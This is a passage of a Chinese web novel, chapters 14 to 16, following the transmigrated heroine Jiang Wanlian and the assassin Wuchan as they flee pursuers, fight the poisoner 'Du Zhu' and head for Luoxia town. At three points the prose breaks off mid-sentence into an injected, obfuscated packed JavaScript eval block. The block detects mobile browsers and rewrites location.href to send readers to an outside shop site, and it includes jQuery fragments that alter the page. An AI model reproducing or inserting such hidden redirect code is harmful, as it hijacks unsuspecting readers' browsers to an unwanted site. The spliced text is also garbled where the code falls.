两人上马,沿着那条偏僻小径追去,但速度并不算太快,叶玖明显在沿途仔细搜寻痕迹,试图更准确地判断对方的方向和状态。 …… “烤好了。”无忏的声音打断她的思绪。他用树枝拨出烤熟的土茯苓,外表焦黑,掰开后内里却是雪白粉糯,热气腾腾。他吹了吹,递给她一半。 江晚怜小心接过,咬了一小口。味道果然很淡,只有一点植物根茎特有的清甜和焦香,口感粉粉的,有点像没味的红薯。这居然还烤了这么久!但眼下也没有更好的食物了,她一边吹气一边小口吃着,烫得直咧嘴。 无忏吃得很快,但连咀嚼都几乎没有声音。吃完自己那份,他静静看着江晚怜手中还剩大半的块茎,没说话,只是又拨弄了一下火堆,确保余烬不会蔓延。 江晚怜被他看得有点不好意思,加快速度啃完了。暖意从胃里扩散到四肢,浑身都暖洋洋的。连日的疲惫涌上来,困意也开始侵袭,她靠在枯木上,眼皮开始打架。 “别睡。”无忏的声音响起,不大,却带着清晰的警醒意味:“此地不宜久留,他们随时可能追上来。” 江晚怜一个激灵清醒过来,连忙站起身,拍了拍裙子上的草屑灰尘,为了守住自己这条小命,她赶忙说道:“走走走,快走快走!” 无忏用土彻底掩埋了最后一点火星,确保不留痕迹,提起长剑:“跟上。” 两人再次上路。夕阳开始西斜,将林间的光影拉得更长,染上一层暖金色。倦鸟归巢的啼鸣此起彼伏。 这一次,无忏的脚步似乎比之前稍微放慢了一些,刚好是江晚怜不用拼命追赶就能稳稳跟上的速度。他甚至会有意无意地避开过于茂密的荆棘丛,选择相对好走的路径。 江晚怜跟在他身后三步远,看着他被夕阳勾勒出的挺拔背影,玄色衣袍的下摆在行走间微微摆动。她低头看看自己怀里装着“家当”的小钱袋——无忏所谓的买命钱,再摸摸身上虽然小破了裙摆却还算干净柔软的棉布裙子。 一路依旧沉默。 但这一次的沉默,似乎不再那么冰冷和令人窒息了,风声、水声、脚步声,交织成一种奇异的节奏。江晚怜想,也许习惯真是种可怕的东西。才短短几日,她已经习惯了他的沉默,习惯了他拎她后领的粗暴方式,甚至习惯了逃命。 而走在前面的人,异于常人的眼眸望着前方蜿蜒没入暮色的山路,眸光深处,无人知晓在思量什么。 林风拂过,卷起几片早落的黄叶,带走白日最后的喧嚣。 14. 再次出发 天光未大亮,林间弥漫着乳白色的薄雾,草木叶片上凝结着剔透的露珠。空气清冽潮湿,吸进肺里带着醒神的凉意。 火堆早已熄灭只剩一点余温,江晚怜蜷缩在岩壁边,她睁开眼,首先看到的是无忏背对着她、面向洞外晨雾的身影,依旧笔直,仿佛这样站了一夜。 听到她起身的窸窣声,无忏头也没回:“走。” 干脆利落,毫无拖泥带水。 江晚怜认命地爬起来,活动了一下僵硬发麻的四肢,感觉浑身像散了架又重新拼凑起来,没一处不酸疼。她拍了拍身上沾着草屑的天青色襦裙,又摸了摸脸上可能存在的污迹,心里叹了口气:这逃命生活,真是对颜值和形象的毁灭性打击!对不住啊周掌柜、穗穗……这么好看的衣服又被我弄脏了。 两人一前一后,再次没入被晨雾笼罩的山林。无忏依旧沉默,但脚步确实维持在江晚怜咬牙能跟上的速度。林间很静,只有踩过湿润落叶和草丛的细微声响,以及早起的鸟儿偶尔清脆的啼鸣。 走了约莫半个时辰,雾气渐渐散开,阳光透过枝叶缝隙投下道道光柱。江晚怜的肚子又开始不争气地叫唤,声音在寂静的林间格外清晰。 她有些尴尬,但更多的是对食物的渴望。昨天那点烤土茯苓的记忆已经遥远得像上辈子。 “那个……无大哥,”她忍不住开口,声音因为干渴和饥饿有点哑:“咱们接下来是继续钻山沟,还是……有没有可能,路过个能把铜板换成馒头的地方?”她小心地拍了拍怀里的小钱袋。 无忏脚步未停,但似乎略微调整了方向:“前方三里,有个临路的茶棚,兼卖早点。” 江晚怜眼睛瞬间亮了,感觉脚步都轻快了几分。有茶棚!就意味着可能有热乎的东西吃! ——与此同时,山林另一侧。 叶玖拨开一片带着露水的灌木,蹲下身,指尖轻轻拂过地面。潮湿的泥土上,有两个清晰的脚印,一大一小,一深一浅,朝着东北方向。 “他们在这里停留过,时间不长。”她站起身,看向脚印延伸的方向,“脚步间距稳定,不像是仓促奔逃,倒像寻常赶路。” 李子遥跟在她身后,闻言皱眉:“这魔头,倒是从容,带着个拖累还能这么不紧不慢?” “或许不是从容,”叶玖目光沉静:“是自信,自信我们一时追不上,或者……自信即便追上,他也能应付。”她想起昨日交手时那份游刃有余,以及他对江晚怜那种古怪的“照顾”。 “师父让我们活捉他们,查明真相。”李子遥握了握剑柄:“可跟无忏在一起,怎么活捉?那魔头岂会轻易放手?” 叶玖没有立刻回答,她望向雾气将散的林间,清丽的脸上带着思索。 “子遥,你有没有觉得,我们或许先入为主了?江晚怜与无忏之间的关系,恐怕并非简单的‘挟持’或‘胁迫’…灭门夜的具体情形,我们谁也未亲眼目睹,仅凭传闻和无忏过往的恶名,就断定他是凶手且挟持了江晚怜……是否武断了些?” 李子遥一愣:“师姐,你是说……可能另有隐情?可无忏杀人如麻是事实!” “是事实,”叶玖点头:“但江家灭门案,根据师父的传信鸟的消息疑点重重,目前只知道他是凶手。” “但,他为何独独留下江晚怜?还带着她一路同行,多有回护?”这些疑点像藤蔓一样缠绕在她心头,越是追踪,越是清晰。 “或许江晚怜对他有什么利用价值?”李子遥猜测。 “或许。”叶玖不置可否:“所以更要找到他们,当面问清。走吧,脚印还很新,他们离得不远了。”她率先朝东北方向追去,身影轻捷。李子遥虽仍有疑虑,但还是立刻跟上。 ——茶棚这边。 所谓“茶棚”,真的就是个简陋的草棚子,支在一条看起来经常有车马经过的土路旁。棚子里摆着三四张旧木桌,一个头发花白的老丈正在灶台前忙碌,锅里热气腾腾,传来食物朴素的香气。 江晚怜闻到那味道,感觉胃都在抽搐,还是这种小摊吃得舒服。 她眼巴巴看向无忏。 无忏在离茶棚还有一段距离的树荫下停住。 “你去买。”他言简意赅,丢给她几枚铜钱——正是之前他给她的“买命钱”的一部分。 “我?”江晚怜指指自己,又看看茶棚里零星坐着的两个打扮不同的人,说道:“你不去?”毕竟之前大多是他付钱。 “我露面,麻烦。”无忏侧身倚着树干,目光扫过道路两端。他这身黑衣、带着剑、还有异于常人的眼睛。江晚怜回顾了下之前的场景,确实那些时候都是没什么人的时候才一同走上去,反观现在坐着的那两个人,一看就不是寻常百姓…的确容易引来不必要的关注。 江晚怜懂了,她接过铜钱,深吸一口气,努力让自己看起来像个正常赶路的、只是稍微狼狈点的姑娘,朝茶棚走去。 “老丈,早。”她尽量让声音显得自然:“有什么吃的吗?” 老丈抬头,看到她一个年轻姑娘家独自前来,衣裙虽有些脏污破损,但料子和颜色都不差,容貌清丽,只是眉眼间带着疲惫,态度便和善了些:“有刚出笼的杂面馒头,还有热豆花,酱菜是自家腌的,姑娘来点?” “要两个馒头,一碗豆花,酱菜也来一点。”江晚怜飞快地点了,又问:“能……再给装点热水吗?”她晃了晃她昨天晚上找无忏要的那个皮质水囊。 “中。”老丈利落地给她准备。 等待的间隙,江晚怜状似无意地听着旁边桌上两个看起来不平常打扮的汉子闲聊。 “……听说了吗?望舒村那边前两天闹腾来着,好像有江湖人动手。” “嗨,哪年没几桩?不过听说这次牵扯到‘那边’的人了。”一个汉子压低声音,拇指隐晦地朝某个方向指了指。 “暗榜上的?” “可不,好像还是个挺有名的,叫什么……夜莺?反正下手狠着呢,不过好像没得手,被人搅了局。” “谁搅的?那夜莺我还听过呢,没想到居然有人敢搅了她的局?” “那谁知道,黑吃黑呗。不过前两天我去客栈上打探…现在悬赏又涨了,尤其是那个……江什么的姑娘,啧,真是行走的金元宝。” 江晚怜心里一紧,低头假装摆弄水囊。夜莺果然还在活动,而且自己的“行情”持续看涨……这感觉真是一点也不美妙。 老丈把食物和灌满热水的水囊递给她。江晚怜付了钱,道了谢,拿起东西快步走回无忏所在的树荫下。 “听到点消息。”她把一个馒头和那碗豆花递给无忏,自己拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998343|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一个馒头咬了一大口,含糊不清地说:“夜莺好像没放弃,而且我的悬赏又涨了,望舒村的事好像还传开了点。” 无忏接过馒头,对悬赏上涨似乎并不意外,他吃得很安静,但速度不慢。那碗豆花他没动,反倒推回江晚怜的手中。 “你不吃?”江晚怜问。 “不喜甜咸。”无忏淡淡道。 江晚怜看了看豆花上飘着的几点酱菜末和酱油,理解了他说的“甜咸”大概指这种调味,她也不客气,拿过来小口吃着。热乎乎的豆花滑入胃里,整个人都暖和舒坦了不少,馒头虽然粗糙,但带着粮食本身的香气,饿极了吃什么都香。 “接下来去哪?”她边吃边问:“总不能一直漫无目的地走吧?你不是说,要查清谁要买我的命,还有江家……”她顿住,灭门两个字在嘴边转了一圈,没说出来。 无忏吃完最后一口馒头,目光投向道路延伸的远方,那里隐约可见起伏的山峦轮廓:“落霞镇。” “落霞镇?”江晚怜迅速在记忆里搜索这个地名。原漫画里好像提过一嘴,是个比较繁华的交通枢纽,三教九流混杂,好像……也是“忘尘客栈”的一个不太起眼的分号所在?她记得漫画里主角团后来在那里得到过一条重要线索。 “那里消息灵通。”无忏证实了她的猜测:“接新任务,并且…”他瞥了她一眼。 “你需要换身行头。” 江晚怜低头看看自己堪称“乞丐风”的衣裙,深以为然,这样子太扎眼了。虽然这是周纤巧的“赔礼”但又经过一番逃亡此刻也显得有点狼狈,唉……这样下去她得换多少衣服啊? “李子遥和叶……凌云门那两位,会找到那里去吗?”她改了口。 “会。”无忏回答得很肯定:“叶玖追踪术不错,落霞镇是必经之路之一。” “那……”江晚怜有点愁。 “人多,便于隐匿。”无忏活动了下手腕:“也便于摆脱。” 意思是浑水摸鱼?江晚怜觉得有点刺激,又有点忐忑。 两人吃完,江晚怜把陶碗送回茶棚,回到树下。无忏已经怀好剑,准备出发。 晨雾已完全散去,阳光明亮起来,照在江晚怜天青色的衣裙上,也照在无忏玄黑色的背影上。一明一暗,对比鲜明。 江晚怜跟在他身后几步远,看着他的背影,忽然想起漫画里关于他眼睛的只言片语,以及那些语焉不详的过去。左红右绿……真是奇怪的瞳色,漫画里没解释原因,但这惹来不少江湖人士的猜测和歧视。他现在带着自己这个“大麻烦”东奔西走,真的只是因为“只杀有罪之人”的原则,觉得江家灭门有蹊跷?还是……有别的什么原因?他要是知道原主“江晚怜”的所作所为,不得把自己碎尸万段啊!? 她甩甩头,把这些暂时无解的疑问抛开,眼下最重要的是活着到达落霞镇,换身衣服,吃顿好的…如果可能的话,然后……努力在这见鬼的漫画世界里,继续她的生存。 道路在前方延伸,穿过田野,绕过山脚,消失在视线尽头。又有新的挑战和未知在等待。 而无忏走在前面,异色的眸子映着晨光,平静地望向前路。风吹动他玄色的衣角,也带来身后女孩细微却坚定的脚步声。 这同行之路,还要继续走下去,目前望不见头。 15. 等待进入网审 江晚怜这辈子从没跑得这么快过。 肺像要炸开,喉咙里泛着血腥味,两条腿机械地交替摆动,几乎感觉不到是自己的。她甚至不敢回头看——身后林木间传来的金属交击声、枝叶断裂声,还有那种令人头皮发麻的破空声,都在提醒她:这次来的,比夜莺更麻烦。 事情发生得太突然。 一刻钟前,他们刚穿过一片相对开阔的丘陵地带,正准备进入前方看起来更便于隐蔽的密林。无忏的脚步忽然顿住,异色的瞳孔骤然收缩。 “退后。”他只说了两个字,手已按上剑柄。 江晚怜甚至没来得及问“怎么了”,就看见左侧山坡的灌木丛中,三道乌光呈品字形疾射而来,角度刁钻得封死了所有闪避空间——除了向后急退。 无忏的剑出鞘了。 不是之前对付夜莺或凌云门弟子时那种带着几分保留的游刃有余。黝黑的剑身在午后的阳光下几乎没有反光,划出的轨迹快得只剩残影,“叮叮叮”三声几乎同时响起,三枚棱形飞镖被精准击飞,钉入旁边的树干,镖身泛着不正常的暗绿色。 “毒。”无忏的声音冷得像冰。 一个身影从山坡上飘然而下——是真的“飘”,轻得仿佛没有重量。来人一身暗绿色劲装,几乎与周围植被融为一体,脸上戴着半张蛛网纹面具,露出的一双眼睛细长而阴冷。最引人注目的是他双手戴着的奇特手套,指节处嵌着金属尖刺,手腕部位则连着几缕几乎看不见的细丝,在阳光下偶尔闪过寒光。 “榜首果然名不虚传。”来人的声音嘶哑难听,像砂纸摩擦:“暗杀榜第十九,‘毒蛛’,特来讨教。” 话音未落,他手腕一抖,那几缕细丝骤然绷直,从不同角度朝无忏缠去。细丝极细,速度极快,在光线昏暗处几乎隐形。 无忏不退反进,黑剑划出一道弧线,不是斩向细丝——细丝太轻太难斩断,而是直取毒蛛本体, 擒贼先擒王。 毒蛛阴笑一声,手指灵活地跳动,细丝的方向瞬间改变,一部分继续缠向无忏,另一部分却划着诡异的弧线,直取躲在后方树旁的江晚怜! “靠!”江晚怜爆了句粗口,几乎是连滚爬地扑向另一棵树后。“嗤啦”一声,她原本靠着的树干上,被细丝划出了深达寸许的切口,木屑纷飞,这要是划在人身上…… 无忏的剑势也变了。他原本前冲的身形硬生生在半空扭转,黑剑回扫,剑风激荡,将射向江晚怜的几缕细丝吹得偏了方向。但这一耽搁,毒蛛的细丝已经近身,眼看就要缠上他的手腕和脖颈。 江晚怜的心提到了嗓子眼。 却见无忏左手不知何时多了一把短匕——就是之前挖土茯苓那把,精准地格在几缕细丝的汇合处,手腕一绞一扯,竟将数缕细丝暂时缠在了匕身上。虽然只有一瞬,但足够了。 黑剑如毒龙出洞,直刺毒蛛心口。 毒蛛显然没料到无忏会用这种方式破解他的“缠丝手”,仓促间后撤,细丝收紧,想将无忏拉近。但无忏借着这一拉之力,速度更快,剑尖已触及毒蛛衣襟。 “噗——” 不是刺入血肉的声音,而是毒蛛衣襟内突然爆开一团墨绿色的烟雾,瞬间弥漫开来。 “屏息!”无忏低喝,同时屏息后撤。 江晚怜早就死死捂住口鼻,转身就往林子深处跑——这是无忏之前交代过的:一旦出现毒雾、暗器覆盖之类的情况,她首先要做的就是远离,越远越好,别添乱。 烟雾中传来毒蛛的怪笑和快速移动的声响。江晚怜不敢回头,拼命跑,耳边的风声和心跳声大得吓人,她专挑灌木茂密、树木密集的地方钻,虽然会被刮得更狼狈,但至少能稍微阻碍一下可能追来的杀手。 不知道跑了多久,身后打斗声渐渐远了,但并没有消失。江晚怜腿一软,靠在一棵粗大的杉树后大口喘气,心脏跳得像要蹦出来,她侧耳倾听,打斗声似乎转移到了另一个方向,中间隔着一段距离。 暂时安全了……大概。 她摸出怀里的小水囊,喝了口水润润快冒烟的喉咙,脑子里飞快转动。毒蛛,排名十九,比夜莺要更厉害,用毒和那种诡异的细丝……这配置简直是为暗杀量身定做的。无忏能应付吗?刚才那毒雾…… “担心他?”一个嘶哑的声音突然从头顶传来。 江晚怜浑身的汗毛都竖起来了,猛地抬头—— 毒蛛不知何时竟无声无息地倒吊在她上方的树枝上,面具下的眼睛闪着残忍的光。他的暗绿色劲装有几处破损,左肩有一道不深的剑伤,但行动似乎没受太大影响。 “他暂时被我的‘缠魂丝’困住了,虽然困不了多久。”毒蛛像蜘蛛一样轻盈地翻下树枝,落在江晚怜面前三米处:“但收拾你,足够了……你的人头,现在可是紧俏货。” 江晚怜背靠着树干,退无可退。她强迫自己冷静下来——虽然心脏快跳出胸腔——手悄悄摸向袖口,那里藏着昨天她从袖子上拆下来的一个小银扣,边缘被她用石头磨得有点锋利。 “那个……大哥,商量一下?”她挤出一点笑容,声音还有点抖:“你看,无忏马上就追来了,你杀我也需要时间吧?万一被他追上,你受伤了还怎么拿赏金?不如你先撤,改天再……” “废话真多。”毒蛛不耐烦地打断,手腕一抖,两缕细丝闪电般射向江晚怜的双腿——显然是想先废了她的行动能力。 江晚怜几乎是凭本能往旁边一扑,细丝擦着她的小腿划过,带起一道血痕,火辣辣地疼。她在地上滚了一圈,手里攥着的银扣狠狠划向最近的一缕细丝—— “铛!”金属交击的脆响。银扣被弹飞了,细丝却也应声而断了一根! 毒蛛“咦”了一声,显然没想到这丫头手里还有能断他缠魂丝的东西——虽然只是靠蛮力和那点可怜的锋利度,趁细丝绷直时侥幸割断了一根。 但这一下,也让毒蛛的动作顿了顿。 就这一顿的工夫。 黑色的剑光如黑蛇一般,从侧方的树丛中暴射而出,直取毒蛛后心!无忏到了,他的黑袍上有几处被割裂的痕迹,脸上有一道浅浅的血痕,但那双异色眸子里的冷意,比之前更甚。 毒蛛大惊,急忙收回所有细丝在身后织成一道网,同时向前疾扑想拉开距离。 无忏根本不给他机会,黑剑在触到细丝网的瞬间,剑身以一种奇异的频率震动起来,“嗡嗡”作响,那些柔韧难断的细丝,在这高频震动下竟纷纷崩解断裂。 “不可能!”毒蛛终于露出惊骇之色。他的缠魂丝是特制的,普通刀剑难伤,更别说这样被震断。 无忏没有回答,剑势不停,直刺毒蛛咽喉。 毒蛛咬牙,双手手套上的金属尖刺同时弹射而出,如暴雨般罩向无忏,同时自己再次后撤,又想用毒雾—— 但这次,无忏更快。 他的身影仿佛化作了一道模糊的黑线,从漫天暗器的缝隙中穿过,黑剑的剑尖,已经点在了毒蛛的咽喉皮肤上。一点即收,没有刺入。 毒蛛僵住了,冷汗从额角滑落。他清楚,刚才那一剑如果递实了,他现在已经是尸体。 “谁雇的你?”无忏的声音平静无波,但剑尖上传来的杀意,让毒蛛毫不怀疑自己回答慢了就会死。 “暗……暗榜规矩,不能透露雇主。”毒蛛的声音更嘶哑了。 “规矩,还是命?”无忏的剑尖微微向前送了半分,一丝血线出现在毒蛛咽喉。 毒蛛瞳孔收缩,终于咬牙:“是……是客栈中转委托,具体雇主信息加密了,中间人只给了一句接头暗语,说是确认目标身份和任务优先级的凭证……” “说。”无忏的剑尖纹丝不动。 毒蛛喉结滚动,一字一顿地复述:“长堤柳色入笙歌。” 无忏的眼睛几不可察地微微一凝,随即恢复冰冷:“还有呢?” “没了!真的没了!”毒蛛急声道,声音因恐惧而变调:“只有这句!排名靠前的可能知道更多,我只是个接单干活的!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998344|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>无忏盯着他看了几秒,忽然收剑。 毒蛛一愣,随即如蒙大赦,转身就想逃—— “你的手。”无忏淡淡道。 毒蛛身体一僵。 “自己废了,或者我帮你。”无忏的语气没有任何商量的余地,随后他瞥了一眼江晚怜腿上还在渗血的伤口。 毒蛛脸色惨白,但看着无忏那双没有任何情绪波动的异色眼睛,他知道这不是威胁,是通知。他咬了咬牙,左手握住右手手腕,猛地一扭—— “咔嚓”一声脆响,伴随着压抑的闷哼。毒蛛的右手软软垂下,显然腕骨已碎,那副特制手套也歪斜了。 “滚。”无忏只说了一个字。 毒蛛捂着右手,踉跄着消失在树林深处,连头都不敢回。 直到确定他走远了,无忏才转身走向江晚怜。他蹲下身,检查她腿上的伤口:细丝造成的割伤不算深,但伤口边缘有些发黑。 “毒?”江晚怜声音发虚。 “只是轻微麻痹而已,不致命”他说道:“能走多少走多少。” 等等,走? “我可是中毒了!居然还要我走路!”她有些不服气地说道,指了指自己腿上那道泛着不祥黑色的伤口,试图用眼神传达“我都这样了你居然还让我徒步”的控诉。 无忏沉默了一会,眸子在她因气愤而微微发红的脸上停留了一瞬,但只说了一句:“又不是不能走。” 语气平淡,逻辑清晰,且无从反驳。 江晚怜被噎得一口气差点没上来。她瞪着他,试图从那张没什么表情的脸上找出一丝“我在开玩笑”或者“其实我可以背你”的迹象——当然,失败了。 “……行,你狠。”她最终败下阵来,扶着树干试图站起来,腿上的伤口传来刺痛和麻木交织的怪异感觉,让她龇了龇牙。“走就走……万一我毒发身亡倒半路上,做鬼也不会放过你。” “你不会。”无忏已经转身,开始观察周围环境,判断最安全的撤离路线:“毒素很浅,只是让你腿脚比平时更沉些,死不了。” “谢谢你的‘安慰’啊。”江晚怜翻了个白眼,一瘸一拐地跟上他。每一步都像踩在棉花和针尖的混合物上,滋味相当“美妙”。 无忏这次走得更慢了,几乎是迁就着她的龟速。他甚至会偶尔停下,等她笨拙地跨过横倒的枯木或绕过湿滑的苔藓区。沉默依旧,但空气里似乎飘荡着一丝江晚怜无声的怨念,以及无忏那全然无视这怨念的坦然。 走了一段,江晚怜喘着气问:“‘长堤柳色入笙歌’,到底什么意思?听着像半句诗,又怪兮兮的。” 无忏的脚步几不可察地顿了一下,没有回头。 “不知。” “你都不知道?”江晚怜有些意外。在她有限的认知里,无忏这种混迹江湖顶层的杀手,应该对暗语黑话门儿清才对。 “客栈的中转委托,有时会用这类看似风雅实则晦涩的隐语传递信息。”无忏的声音在林木间显得格外清晰冷淡:“这句前所未见,也可能……”他略作停顿。 “暗指某人。” “某人?”江晚怜咀嚼着这句话。长堤、柳色、笙歌……组合起来像一幅江南富庶之地的闲适画面,和她被追杀的狼狈处境形成诡异反差。会是地名吗?还是某个组织的代号?又或者……真是个人名?她在脑子里把知道的漫画角色过了一遍,没一个能对上。 “想不出来。”她老实承认,有点沮丧:“漫……我以前也没听说过类似的话。” 无忏没有回应,似乎也在思考。林间只剩下江晚怜略显滞重的脚步声和风吹叶响。 “总之,”江晚怜总结道:“就是有人铁了心要我的命,对吧?” 这次无忏给了反应。他侧过半边脸,异色的眸子在斑驳光影中扫了她一眼,语气依旧平淡,却带着某种近乎事实陈述的笃定: “嗯,所以、腿能动就继续走。” 江晚怜:“……”道理她都懂,但这话听着怎么就这么欠呢! 16. 渐近的足音 事实证明,江晚怜关于“毒发身亡倒半路上”的预言虽然夸张,但“腿脚比平时更沉”实在过于轻描淡写。 又勉强撑了不到一刻钟,右腿的伤口从刺痛麻痒,发展成一种持续不断的钝痛,且伴随着明显的沉重感和偶尔的肌肉痉挛。每一次迈步都像是拖着个不断加码的沙袋,速度越来越慢,平衡也越来越差。 终于,在第三次差点被裸露的树根绊倒、全靠抓住旁边灌木才没脸着地之后,江晚怜撑着膝盖,汗珠从额角滚落,喘得说不出话。 无忏停下脚步,回头看她。她脸上没什么血色,整个人看起来狼狈又脆弱。 “我……”江晚怜试图开口,声音发虚:“我觉得……这腿好像不是我自己的了。”她尝试抬了抬受伤的右腿,动作僵硬得像生了锈的傀儡。 无忏沉默地看着她,又瞥了一眼天色,日头已经开始西斜,林间光线在变暗。按这个速度,天黑前绝对到不了落霞镇,而夜晚的野外,对于受伤且行动不便的她来说,危险系数会成倍增加。 他叹了口气,那声音轻得像是风吹过叶片。 然后,他走了回来,在江晚怜面前转过身,背对着她蹲下。 江晚怜愣住了:“……啊?” “上来。”无忏的声音依旧没什么起伏,但仔细听,似乎能捕捉到一丝极其细微的、类似于认命般的无奈。 “你……你要背我?”江晚怜有点不敢相信。这位可是杀人不眨眼、冷脸能冻死蚊子的榜一大佬!背人?这画面太有冲击力,她一时没反应过来。 “不然?”无忏侧过半张脸,血红的眸子斜睨她:“等你爬过去,或是等追兵、等下一波杀手找上门?” 理由充分,无法反驳。但江晚怜还是觉得有点玄幻:“……谢谢?” “快点。” 江晚怜不再犹豫,小心翼翼地把手臂环过他的肩膀。无忏等她趴稳,双手托住她的腿弯,利落地站了起来。 他的背比想象中宽阔,但肌肉紧绷,隔着衣料也能感受到其下蕴含的力量。他身上有股很淡的味道,混合着山林间行走沾上的草木清气、极淡的血腥气,还有一种……难以形容的、属于他本身的冷冽气息。 江晚怜浑身僵硬,一动不敢动,连呼吸都放轻了。这距离太近了,近到她能看清他后颈处被黑发遮掩的皮肤,以及衣领边缘一道陈旧的浅淡疤痕。 无忏背着她,速度明显比刚才两人步行快了许多,步伐依然稳健,在山林间穿行几乎如履平地。只是,全程一言不发,周身的气压比平时更低。 江晚怜起初还紧绷着,过了一会儿,发现他确实走得很稳,而且因为姿势改变,受伤的右腿被妥帖地托着,不再受力,疼痛和麻木感都缓解了不少。神经一放松,疲惫感和劫后余生的虚脱感就涌了上来。她把下巴轻轻搁在自己交叠的手臂上,眼皮开始发沉。 但不能睡,她强迫自己找点话说,打破这尴尬又诡异的沉默。 “那个……我很重吗?”她没话找话。 “比看上去沉。”无忏回答得毫不客气。 江晚怜一噎,小声嘟囔:“我都吃了上顿没下顿了,再说我现在可是价值连城的金元宝,沉点怎么了……” “嗯,会招灾的金元宝。”无忏的语气平淡无波,却精准地戳中事实。 江晚怜:“……”这天没法聊了。 又过了一会儿。趴在别人背上的体验很新奇,但时间一长,就只剩尴尬和无聊了,视线被限制在他宽阔的后背和偶尔晃过的枝叶间,耳朵里只有规律的脚步声和自己的呼吸,她觉得自己像个人形包袱,还是个会胡思乱想的包袱。 “我们……大概多久能到落霞镇?”她换了个话题,声音因为无聊而有点拖沓:“感觉走了好久,周围景色都差不多……好无聊啊。” 无忏的脚步节奏都没变一下:“觉得无聊可以睡觉。” “睡着了摔下去怎么办?”江晚怜下意识反驳。 “摔不下去。” “……哦。”也是,他要是连这点都控制不好,也白当这榜一大佬了。可清醒着干熬半个时辰也太折磨了,她开始数他迈步的次数,数到一百零三时放弃了。 江晚怜安静了片刻,目光落在他随着步伐微微晃动的黑发上,还有那总是挺直的背脊。她忽然想起漫画里对这个角色的零星侧面描写:独来独往,行踪不定,出手狠绝,仇家遍地。没人知道他从哪里来,经历过什么,那双异色的眼睛背后又藏着怎样的故事。 而现在,这个漫画里人人畏惧的“魔头”,正背着她这个“累赘”,走在危机四伏的山林里,原因成谜。 “无忏。”她轻声叫他的代号。 “说。” “你为什么……”她顿了顿,把“为什么要保护我”这个问题咽了回去,曾经她也问过,但无忏一句话没说,便换了个说法:“……要管我?”问完又觉得有点蠢,好像希望听到什么特别答案似的。 无忏的脚步没有丝毫变化,声音从前方传来,听不出情绪:“你活着,对我有用。” 果然,江晚怜心里那点微妙的涟漪平复下去,变回熟悉的吐槽:不就是我身上还有什么我不知道的利用价值,现实得很。 “切。”她应了一声,没再追问。困意再次袭来,这次她有点抵挡不住,脑袋一点一点的。 就在她意识朦胧之际,似乎听到前方很轻地传来一句: “……而且,我若不答应,你也一定会死缠烂打。” 声音低得几乎被风声和林涛掩盖。 江晚怜一个激灵,清醒了一点,怀疑自己是不是幻听了。她抬眼看去,只能看到他线条冷硬的侧脸轮廓和紧抿的唇角。 死缠烂打?她?好吧……确实是这样,毕竟小命要紧,当初若真被丢下的话,她也一定要爬着去抱这只大腿。 是幻觉吧?他怎么可能说这种话,还带着点……无可奈何的预判? 她没再深究,重新闭上眼。身体随着他稳健的步伐轻轻起伏。紧绷了太久的神经,在这奇异的“安全”感中,终于缓缓松懈。 无忏能感觉到背上的人呼吸逐渐变得绵长均匀,环在他肩上的手臂也放松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17001213|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力道。他脚步未停,异色的眼眸警惕地扫视着周围任何细微的动静。 背上确实多了份重量,也多了份不容有失的责任。这感觉对他而言,陌生且……麻烦。但正如他所说,丢下她,她绝对活不过那晚,而某些未尽之事、某些血夜里尚未厘清的因果,也不容许她就此消失。 那不仅是江家满门性命压下的沉重,更是……一缕他既已应承,便无法背弃的微弱余烬。她得活着,至少在真相灼烧殆尽之前。 只是这女人……话真多,睡着了倒是清净。 他调整了一下手臂的力道,让她趴得更稳些,脚下速度不减,朝着落霞镇的方向,在渐浓的暮色中疾行。 ——后方,约两里处。 叶玖蹲在一处泥土微湿的地方,仔细查看着地上的印记,秀眉微蹙。 “怎么了,师姐?”李子遥问。 “脚印变了。”叶玖指着地面:“之前是无忏和江晚怜一前一后的足迹,江晚怜的脚印深浅不一,显是腿脚不便,但到了这里……”她的手指向前方一片相对平整的地面。 “只剩下一个人的脚印,很深,间距规律,落地极稳……江晚怜的脚印,完全消失了。” 李子遥仔细看去,果然如此:“难道……无忏挟着她用轻功赶路了?” “不像。”叶玖摇头,指向旁边几处被踩弯的草茎和灌木:“若是施展轻功挟人而行,落脚点会更飘忽,借力痕迹也不同。你看这些被压弯的草,受力面积更大,更均匀……”她思索着,指尖在空中虚划,模拟着某种姿势,忽然顿住,“倒像是……背负重物,脚踏实地行走留下的痕迹。” “背?”李子遥愕然:“无忏……背着江晚怜?叶师姐你别逗我笑了。” 这个推论比用轻功挟着更让人难以置信。那可是无忏!冷血杀手无忏!背人?这画面简直难以想象。 